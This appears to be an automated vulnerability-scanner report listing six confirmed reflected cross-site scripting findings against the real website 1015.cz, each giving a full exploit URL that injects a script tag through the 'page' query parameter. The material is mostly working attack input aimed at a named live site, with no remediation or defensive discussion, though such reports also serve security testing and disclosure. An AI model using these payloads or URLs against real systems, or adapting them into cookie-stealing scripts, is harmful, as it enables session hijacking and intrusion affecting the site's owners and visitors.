1015.cz

XSS (Cross-site Scripting)

Severity: Important
Confirmation: Confirmed
Vulnerable URL :  http://www.1015.cz/index.php?l=en&page='"--></style></script><script>alert(0x000089)</script>&page_sub=3
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: page
Parameter Type: Querystring
Attack Pattern: '"--></style></script><script>alert(0x000089)</script>

Severity: Important
Confirmation: Confirmed
Vulnerable URL :  http://www.1015.cz/index.php?l=cz&page='"--></style></script><script>alert(0x0000B5)</script>&page_sub=1&y=2012&id=346
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: page
Parameter Type: Querystring
Attack Pattern: '"--></style></script><script>alert(0x0000B5)</script>

Severity: Important
Confirmation: Confirmed
Vulnerable URL :  http://www.1015.cz/index.php?l=cz&od=0&page='"--></style></script><script>alert(0x0000B8)</script>&page_sub=3&n_id=334
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: page
Parameter Type: Querystring
Attack Pattern: '"--></style></script><script>alert(0x0000B8)</script>

Severity: Important
Confirmation: Confirmed
Vulnerable URL :  http://www.1015.cz/index.php?l=cz&page='"--></style></script><script>alert(0x0000F4)</script>&page_sub=5&id=245
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: page
Parameter Type: Querystring
Attack Pattern: '"--></style></script><script>alert(0x0000F4)</script>


Severity: Important
Confirmation: Confirmed
Vulnerable URL :  http://www.1015.cz/?l=cz&page='"--></style></script><script>alert(0x000190)</script>
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: page
Parameter Type: Querystring
Attack Pattern: '"--></style></script><script>alert(0x000190)</script>

Severity: Important
Confirmation: Confirmed
Vulnerable URL :  http://www.1015.cz/?l=cz&page='"--></style></script><script>alert(0x0001E0)</script>&page_sub=16
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: page
Parameter Type: Querystring
Attack Pattern: '"--></style></script><script>alert(0x0001E0)</script>